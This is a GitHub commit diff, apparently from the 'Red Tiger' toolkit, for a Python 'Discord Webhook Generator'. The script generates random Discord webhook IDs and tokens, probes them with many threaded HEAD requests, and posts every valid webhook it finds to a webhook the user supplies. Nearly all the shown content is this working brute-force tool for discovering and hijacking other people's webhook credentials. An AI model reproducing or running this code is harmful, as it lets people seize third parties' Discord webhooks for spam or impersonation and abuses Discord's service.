-
Notifications
You must be signed in to change notification settings - Fork 146
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
『 Anonyme 』
authored and
『 Anonyme 』
committed
Mar 23, 2024
1 parent
6de704b
commit c11d02d
Showing
13 changed files
with
398 additions
and
179 deletions.
There are no files selected for viewing
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,63 +1,83 @@ | ||
from Config.Util import * | ||
from Config.Config import * | ||
import string | ||
import requests | ||
import json | ||
import string | ||
import random | ||
|
||
import threading | ||
Title("Discord Webhook Generator") | ||
|
||
def send_embed_webhook(webhook_url, embed_content, username=None, url=None): | ||
payload = { | ||
'embeds': [embed_content], | ||
'username': username, | ||
'avatar_url': url | ||
} | ||
|
||
headers = { | ||
'Content-Type': 'application/json' | ||
} | ||
|
||
response = requests.post(webhook_url, data=json.dumps(payload), headers=headers) | ||
username = 'Red Tiger' | ||
url = 'https://cdn.discordapp.com/attachments/1184160374342299688/1184160439001686056/IMG_1506.png?ex=658af659&is=65788159&hm=9a0297ee590e78acbafc75bc4686ce2b553e40a2f2a850101378a09f23e32d08&' | ||
|
||
|
||
choixwebhook = input(f"{color.RED}\n{INPUT} Webhook (y/n) -> {color.RESET}") | ||
if choixwebhook in ['y', 'Y','Yes','yes']: | ||
webhook_url = input(f"{color.RED}{INPUT} URL Webhook -> {color.RESET}") | ||
|
||
def send_webhook_message(webhook_url_Essai): | ||
response = requests.head(webhook_url_Essai) | ||
if response.status_code == 200: | ||
if choixwebhook in ['y']: | ||
print(f"{color.GREEN}{ADD} Webhook Found | {color.WHITE}{webhook_partie_variable}{color.RESET}") | ||
|
||
embed_content = { | ||
'title': f'Webhook Found !', | ||
'description': f"**URL Webhook:__**\n```{webhook_url_Essai}```", | ||
'color': color_webhook, | ||
'footer': { | ||
"text": "Red Tiger", | ||
"icon_url": "https://media.discordapp.net/attachments/944760272265031720/1179429697495498834/IMG_1506.png?ex=6582fb00&is=65708600&hm=cbdc48779b762d4d7c95c34bb68a8aabf8314519d0b50c4d7371bea19eac5db4&=&format=webp&quality=lossless", | ||
} | ||
} | ||
send_embed_webhook(webhook_url, embed_content, username, url) | ||
else: | ||
print(f"{color.GREEN}{ADD} Webhook Found | {color.WHITE}{webhook_partie_variable}{color.RESET}") | ||
|
||
else: | ||
print(f"{color.RED}{ERROR} Webhook Invalid | {color.WHITE}{webhook_partie_variable}{color.RESET}") | ||
webhook = input(f"{color.RED}\n{INPUT} Webhook ? (y/n) -> {color.RESET}") | ||
if webhook in ['y', 'Y', 'Yes', 'yes', 'YES']: | ||
webhook_url = input(f"{color.RED}{INPUT} Webhook URL -> {color.RESET}") | ||
try: | ||
response = requests.head(webhook_url) | ||
if response.status_code != 200: | ||
ErrorWebhook() | ||
else: | ||
print(f"{color.RED}{INFO} Webhook Valid.") | ||
except: | ||
ErrorWebhook() | ||
|
||
try: | ||
threads_number = int(input(f"{INPUT} Threads Number -> {color.RESET}")) | ||
except: | ||
ErrorNumber() | ||
|
||
while True: | ||
|
||
chiffres = ''.join(random.choices(string.digits, k=18)) | ||
caracteres = ''.join(random.choices(string.ascii_letters + string.digits, k=64)) | ||
|
||
webhook_partie_variable = f'{chiffres}/{caracteres}' | ||
def send_webhook(embed_content): | ||
payload = { | ||
'embeds': [embed_content], | ||
'username': username_webhook, | ||
'avatar_url': avatar_webhook | ||
} | ||
|
||
headers = { | ||
'Content-Type': 'application/json' | ||
} | ||
|
||
webhook_url_Essai = f'https://discord.com/api/webhooks/{webhook_partie_variable}' | ||
requests.post(webhook_url, data=json.dumps(payload), headers=headers) | ||
|
||
send_webhook_message(webhook_url_Essai) | ||
Title(f"Webhook Generator | Webhook: {webhook_url_Essai}") | ||
def webhook_check(): | ||
first = ''.join([str(random.randint(0, 9)) for _ in range(19)]) | ||
second = ''.join(random.choice(string.ascii_letters + string.digits + '-' + '_') for _ in range(random.choice([68]))) | ||
webhook_test_code = f"{first}/{second}" | ||
webhook_test_url = f"https://discord.com/api/webhooks/{webhook_test_code}" | ||
|
||
try: | ||
response = requests.head(webhook_test_url) | ||
if response.status_code == 200: | ||
if webhook in ['y']: | ||
embed_content = { | ||
'title': f'Webhook Valid !', | ||
'description': f"**__Webhook:__**\n```{webhook_test_url}```", | ||
'color': color_webhook, | ||
'footer': { | ||
"text": username_webhook, | ||
"icon_url": avatar_webhook, | ||
} | ||
} | ||
send_webhook(embed_content) | ||
print(f"{GEN_VALID} Status: {color.WHITE}Valid{color.GREEN} | Webhook: {color.WHITE}{webhook_test_code}{color.GREEN}") | ||
else: | ||
print(f"{GEN_VALID} Status: {color.WHITE}Valid{color.GREEN} | Webhook: {color.WHITE}{webhook_test_code}{color.GREEN}") | ||
else: | ||
print(f"{GEN_INVALID} Status: {color.WHITE}Invalid{color.RED} | Webhook: {color.WHITE}{webhook_test_code}{color.RED}") | ||
except: | ||
print(f"{GEN_INVALID} Status: {color.WHITE}Error{color.RED} | Webhook: {color.WHITE}{webhook_test_code}{color.RED}") | ||
|
||
def request(): | ||
threads = [] | ||
try: | ||
for _ in range(int(threads_number)): | ||
t = threading.Thread(target=webhook_check) | ||
t.start() | ||
threads.append(t) | ||
except: | ||
ErrorNumber() | ||
|
||
for thread in threads: | ||
thread.join() | ||
|
||
while True: | ||
request() |
Oops, something went wrong.